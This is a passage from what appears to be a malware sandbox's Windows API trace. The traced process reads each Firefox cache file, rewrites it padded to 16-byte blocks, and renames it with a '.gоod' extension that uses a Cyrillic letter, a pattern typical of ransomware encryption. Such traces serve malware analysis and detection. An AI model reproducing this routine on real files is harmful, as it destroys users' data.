lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29.gоod")) returned 1 [0242.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", lpFilePart=0x0) returned 0x7f [0242.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0242.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), fInfoLevelId=0x0, lpFileInformation=0x396bcd0 | out: lpFileInformation=0x396bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3243cbd, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3243cbd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x325c36f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0242.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0242.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", lpFilePart=0x0) returned 0x7f [0242.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0242.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0242.844] GetFileType (hFile=0x82c) returned 0x1 [0242.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0242.845] GetFileType (hFile=0x82c) returned 0x1 [0242.845] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x52a [0242.845] ReadFile (in: hFile=0x82c, lpBuffer=0x396c5f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x396c5f8*, lpNumberOfBytesRead=0x1fbeb028*=0x52a, lpOverlapped=0x0) returned 1 [0242.846] CloseHandle (hObject=0x82c) returned 1 [0242.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", lpFilePart=0x0) returned 0x7f [0242.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0242.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0242.873] GetFileType (hFile=0x82c) returned 0x1 [0242.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0242.873] GetFileType (hFile=0x82c) returned 0x1 [0242.873] WriteFile (in: hFile=0x82c, lpBuffer=0x39e5968*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x39e5968*, lpNumberOfBytesWritten=0x1fbeaf38*=0x530, lpOverlapped=0x0) returned 1 [0242.873] CloseHandle (hObject=0x82c) returned 1 [0242.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", lpFilePart=0x0) returned 0x7f [0242.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820.gоod", lpFilePart=0x0) returned 0x84 [0242.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0242.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3243cbd, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3243cbd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8cfa4bec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0242.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0242.874] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820.gоod")) returned 1 [0242.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", lpFilePart=0x0) returned 0x7f [0242.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0242.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), fInfoLevelId=0x0, lpFileInformation=0x39e6d08 | out: lpFileInformation=0x39e6d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387d231, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387d231, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389cde0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xfe7)) returned 1 [0242.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0242.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", lpFilePart=0x0) returned 0x7f [0242.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0242.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0242.875] GetFileType (hFile=0x82c) returned 0x1 [0242.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0242.875] GetFileType (hFile=0x82c) returned 0x1 [0242.875] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xfe7 [0242.875] ReadFile (in: hFile=0x82c, lpBuffer=0x39e80e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x39e80e8*, lpNumberOfBytesRead=0x1fbeb028*=0xfe7, lpOverlapped=0x0) returned 1 [0243.250] CloseHandle (hObject=0x82c) returned 1 [0243.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", lpFilePart=0x0) returned 0x7f [0243.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0243.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0243.283] GetFileType (hFile=0x630) returned 0x1 [0243.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0243.283] GetFileType (hFile=0x630) returned 0x1 [0243.283] WriteFile (in: hFile=0x630, lpBuffer=0x3a5f910*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3a5f910*, lpNumberOfBytesWritten=0x1fbeaf38*=0xff0, lpOverlapped=0x0) returned 1 [0243.757] CloseHandle (hObject=0x630) returned 1 [0244.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", lpFilePart=0x0) returned 0x7f [0244.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC.gоod", lpFilePart=0x0) returned 0x84 [0244.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0244.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387d231, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387d231, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8d823230, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xff0)) returned 1 [0244.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0244.188] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac.gоod")) returned 1 [0244.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", lpFilePart=0x0) returned 0x7f [0244.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0244.190] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), fInfoLevelId=0x0, lpFileInformation=0x3aee078 | out: lpFileInformation=0x3aee078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01)) returned 1 [0244.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0244.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", lpFilePart=0x0) returned 0x7f [0244.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0244.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.191] GetFileType (hFile=0x630) returned 0x1 [0244.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0244.191] GetFileType (hFile=0x630) returned 0x1 [0244.191] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xe01 [0244.191] ReadFile (in: hFile=0x630, lpBuffer=0x3aef278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3aef278*, lpNumberOfBytesRead=0x1fbeb028*=0xe01, lpOverlapped=0x0) returned 1 [0244.192] CloseHandle (hObject=0x630) returned 1 [0244.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", lpFilePart=0x0) returned 0x7f [0244.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0244.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.220] GetFileType (hFile=0x630) returned 0x1 [0244.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0244.220] GetFileType (hFile=0x630) returned 0x1 [0244.220] WriteFile (in: hFile=0x630, lpBuffer=0x3b6ae50*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b6ae50*, lpNumberOfBytesWritten=0x1fbeaf38*=0xe10, lpOverlapped=0x0) returned 1 [0244.221] CloseHandle (hObject=0x630) returned 1 [0244.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", lpFilePart=0x0) returned 0x7f [0244.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55.gоod", lpFilePart=0x0) returned 0x84 [0244.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0244.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8dc88f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe10)) returned 1 [0244.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0244.221] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55.gоod")) returned 1 [0244.222] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", lpFilePart=0x0) returned 0x7f [0244.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0244.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), fInfoLevelId=0x0, lpFileInformation=0x3b6c1f0 | out: lpFileInformation=0x3b6c1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d)) returned 1 [0244.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0244.954] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", lpFilePart=0x0) returned 0x7f [0244.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0244.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0244.954] GetFileType (hFile=0x808) returned 0x1 [0244.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0244.954] GetFileType (hFile=0x808) returned 0x1 [0244.954] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xf2d [0244.954] ReadFile (in: hFile=0x808, lpBuffer=0x3ba81e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3ba81e0*, lpNumberOfBytesRead=0x1fbeb028*=0xf2d, lpOverlapped=0x0) returned 1 [0244.989] CloseHandle (hObject=0x808) returned 1 [0245.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: 